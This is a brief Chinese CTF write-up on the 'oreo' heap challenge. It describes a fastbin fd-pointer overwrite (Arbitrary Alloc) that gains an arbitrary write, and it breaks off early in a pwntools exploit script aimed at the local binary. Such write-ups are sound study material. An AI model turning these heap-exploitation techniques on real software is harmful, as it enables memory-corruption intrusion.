终于第一次自己独立做出一道完整的堆题
方法一:
ctf-wiki
很详细,不多赘述
方法二:
与 ctf-wiki 的思路类似,最终也是控制message的指针来达到任意地址写的目的
但是此处用的是 Arbitrary Alloc ,即控制fastbin块的fd指针来达成目的
具体请看exp的注释
exp:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
context.log_level = 'debug'
io = process('./oreo')
elf = ELF('./oreo')
def add(name,content):
io.sendline